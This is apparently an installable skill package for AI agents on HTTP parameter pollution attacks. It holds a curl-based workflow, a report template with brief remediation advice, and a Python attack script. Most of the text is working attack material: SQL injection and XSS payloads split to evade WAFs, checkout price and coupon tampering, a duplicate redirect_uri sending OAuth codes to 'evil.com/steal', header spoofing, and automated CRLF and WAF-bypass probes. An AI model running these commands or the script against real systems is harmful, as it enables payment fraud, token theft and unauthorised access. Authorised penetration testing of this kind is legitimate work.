npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- When testing web applications for input validation bypass vulnerabilities
- During WAF evasion testing to split attack payloads across duplicate parameters
- When assessing how different technology stacks handle duplicate HTTP parameters
- During API security testing to identify parameter precedence issues
- When testing OAuth or payment processing flows for parameter manipulation
Prerequisites
- Burp Suite Professional with Intruder and Repeater modules
- Understanding of HTTP protocol and query string parsing
- Knowledge of server-side parameter handling differences (first, last, array, concatenated)
- cURL or httpie for manual parameter crafting
- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Parameter Handling Behavior
# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value
curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response
# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"Step 2 — Perform Server-Side HPP
# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # Blocked by WAF
# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # May bypass WAF
# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# Override security-critical parameters
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"Step 3 — Perform Client-Side HPP
# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject: http://target.com/page?param=value%26injected_param=evil_value
# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"Step 4 — Bypass WAF Rules Using HPP
# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/adminStep 5 — Test OAuth and Payment Flow HPP
# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"Step 6 — Automate HPP Testing
# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery
# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POSTKey Concepts
| Concept | Description |
|---|---|
| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |
| Client-Side HPP | Injected parameters reflected in URLs/links sent to other users |
| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |
| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |
| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |
| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |
| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for intercepting and duplicating parameters |
| param-miner | Burp extension for discovering hidden and duplicate parameters |
| OWASP ZAP | Automated scanner with HPP detection capabilities |
| Arjun | Hidden HTTP parameter discovery tool |
| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |
| Wfuzz | Web application fuzzer supporting parameter manipulation |
Common Scenarios
- WAF Bypass — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them
- Payment Manipulation — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values
- OAuth Redirect Hijacking — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server
- Access Control Bypass — Override role or permission parameters in requests to elevate privileges or access restricted resources
- Input Validation Bypass — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters
Output Format
## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint
### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |
### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |
### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checksReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.6 KB
API Reference — Performing HTTP Parameter Pollution Attack
Libraries Used
- requests: Send HTTP requests with duplicate/encoded parameters
- urllib.parse: URL encoding and parameter manipulation
CLI Interface
python agent.py precedence --url <target> [--param id]
python agent.py test --url <target> [--method GET|POST]
python agent.py waf --url <target> --param <name> --value <blocked_value>Core Functions
test_parameter_precedence(url, param_name, headers) — Detect server parameter handling
Sends duplicate parameters to determine if server uses FIRST, LAST, BOTH, or UNKNOWN value. Tests three value pairs to establish consistent behavior.
test_hpp_payloads(url, method, headers) — Execute HPP payload suite
Three categories of payloads:
- duplicate_param: Basic duplicate parameter injection
- encoding_bypass: URL-encoded, null byte, CRLF injection
- array_syntax: PHP arrays, comma-separated, indexed arrays
Compares responses against baseline to detect anomalies (status/length changes).
test_waf_bypass(url, blocked_param, blocked_value, headers) — Test WAF evasion
Five bypass techniques: direct, duplicate_first, duplicate_last, encoded, array syntax. Detects if any technique passes WAF filtering (status 403/406/429 = blocked).
Payload Categories
| Category | Count | Purpose |
|---|---|---|
| duplicate_param | 3 | Parameter precedence abuse |
| encoding_bypass | 3 | URL encoding / CRLF injection |
| array_syntax | 3 | PHP/framework array handling |
Dependencies
pip install requestsScripts 1
agent.py7.0 KB
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing HTTP parameter pollution (HPP) attack testing."""
import json
import argparse
try:
import requests
except ImportError:
requests = None
HPP_PAYLOADS = {
"duplicate_param": [
{"params": "id=1&id=2", "desc": "Duplicate parameter — tests server-side precedence"},
{"params": "user=admin&user=guest", "desc": "Duplicate user param — tests auth bypass"},
{"params": "action=view&action=delete", "desc": "Action override — tests privilege escalation"},
],
"encoding_bypass": [
{"params": "id=1%26admin%3Dtrue", "desc": "URL-encoded & and = inside value"},
{"params": "id=1%00&admin=true", "desc": "Null byte injection with extra param"},
{"params": "search=test%0d%0ainjected:header", "desc": "CRLF injection in param value"},
],
"array_syntax": [
{"params": "id[]=1&id[]=2", "desc": "PHP array syntax duplicate"},
{"params": "id=1,2,3", "desc": "Comma-separated values"},
{"params": "items[0]=a&items[1]=b", "desc": "Indexed array parameters"},
],
}
def test_parameter_precedence(url, param_name="id", headers=None):
"""Test which parameter value the server uses when duplicated."""
hdrs = headers or {}
results = []
test_pairs = [("FIRST", "SECOND"), ("admin", "guest"), ("1", "99999")]
for val1, val2 in test_pairs:
full_url = f"{url}?{param_name}={val1}&{param_name}={val2}"
try:
resp = requests.get(full_url, headers=hdrs, timeout=10, allow_redirects=False)
body = resp.text[:2000]
uses_first = val1 in body and val2 not in body
uses_last = val2 in body and val1 not in body
uses_both = val1 in body and val2 in body
precedence = "FIRST" if uses_first else "LAST" if uses_last else "BOTH" if uses_both else "UNKNOWN"
results.append({
"values": [val1, val2], "precedence": precedence,
"status": resp.status_code, "content_length": len(body),
})
except Exception as e:
results.append({"values": [val1, val2], "error": str(e)})
return {"url": url, "param": param_name, "precedence_tests": results}
def test_hpp_payloads(url, method="GET", headers=None):
"""Send HPP test payloads and analyze responses."""
hdrs = headers or {}
results = []
baseline = None
try:
baseline_resp = requests.get(url, headers=hdrs, timeout=10)
baseline = {"status": baseline_resp.status_code, "length": len(baseline_resp.text)}
except Exception:
pass
for category, payloads in HPP_PAYLOADS.items():
for payload in payloads:
try:
if method == "GET":
test_url = f"{url}?{payload['params']}" if "?" not in url else f"{url}&{payload['params']}"
resp = requests.get(test_url, headers=hdrs, timeout=10, allow_redirects=False)
else:
resp = requests.post(url, data=payload["params"], headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded"}, timeout=10)
anomaly = False
if baseline:
anomaly = abs(len(resp.text) - baseline["length"]) > 100 or resp.status_code != baseline["status"]
results.append({
"category": category, "payload": payload["params"],
"desc": payload["desc"], "status": resp.status_code,
"response_length": len(resp.text), "anomaly": anomaly,
})
except Exception as e:
results.append({"category": category, "payload": payload["params"], "error": str(e)})
anomalies = [r for r in results if r.get("anomaly")]
return {
"url": url, "method": method, "baseline": baseline,
"total_tests": len(results), "anomalies_found": len(anomalies),
"results": results, "anomaly_details": anomalies,
"finding": "HPP_VULNERABLE" if anomalies else "HPP_NOT_DETECTED",
"severity": "MEDIUM" if anomalies else "INFO",
}
def test_waf_bypass(url, blocked_param, blocked_value, headers=None):
"""Test if HPP can bypass WAF parameter filtering."""
hdrs = headers or {}
tests = [
{"name": "direct", "params": {blocked_param: blocked_value}},
{"name": "duplicate_first", "params": f"{blocked_param}=benign&{blocked_param}={blocked_value}"},
{"name": "duplicate_last", "params": f"{blocked_param}={blocked_value}&{blocked_param}=benign"},
{"name": "encoded", "params": {blocked_param: blocked_value.replace("'", "%27").replace("<", "%3C")}},
{"name": "array", "params": f"{blocked_param}[]={blocked_value}"},
]
results = []
for test in tests:
try:
if isinstance(test["params"], dict):
resp = requests.get(url, params=test["params"], headers=hdrs, timeout=10, allow_redirects=False)
else:
resp = requests.get(f"{url}?{test['params']}", headers=hdrs, timeout=10, allow_redirects=False)
blocked = resp.status_code in (403, 406, 429) or "blocked" in resp.text.lower()[:500]
results.append({"name": test["name"], "status": resp.status_code, "blocked_by_waf": blocked})
except Exception as e:
results.append({"name": test["name"], "error": str(e)})
bypasses = [r for r in results if not r.get("blocked_by_waf") and not r.get("error") and r.get("status") == 200]
return {
"url": url, "param": blocked_param, "tests": results,
"bypass_found": len(bypasses) > 1,
"bypass_methods": [b["name"] for b in bypasses],
}
def main():
if not requests:
print(json.dumps({"error": "requests not installed"}))
return
parser = argparse.ArgumentParser(description="HTTP Parameter Pollution Attack Agent")
sub = parser.add_subparsers(dest="command")
p = sub.add_parser("precedence", help="Test parameter precedence")
p.add_argument("--url", required=True)
p.add_argument("--param", default="id")
t = sub.add_parser("test", help="Run HPP payload tests")
t.add_argument("--url", required=True)
t.add_argument("--method", default="GET", choices=["GET", "POST"])
w = sub.add_parser("waf", help="Test WAF bypass with HPP")
w.add_argument("--url", required=True)
w.add_argument("--param", required=True)
w.add_argument("--value", required=True)
args = parser.parse_args()
if args.command == "precedence":
result = test_parameter_precedence(args.url, args.param)
elif args.command == "test":
result = test_hpp_payloads(args.url, args.method)
elif args.command == "waf":
result = test_waf_bypass(args.url, args.param, args.value)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()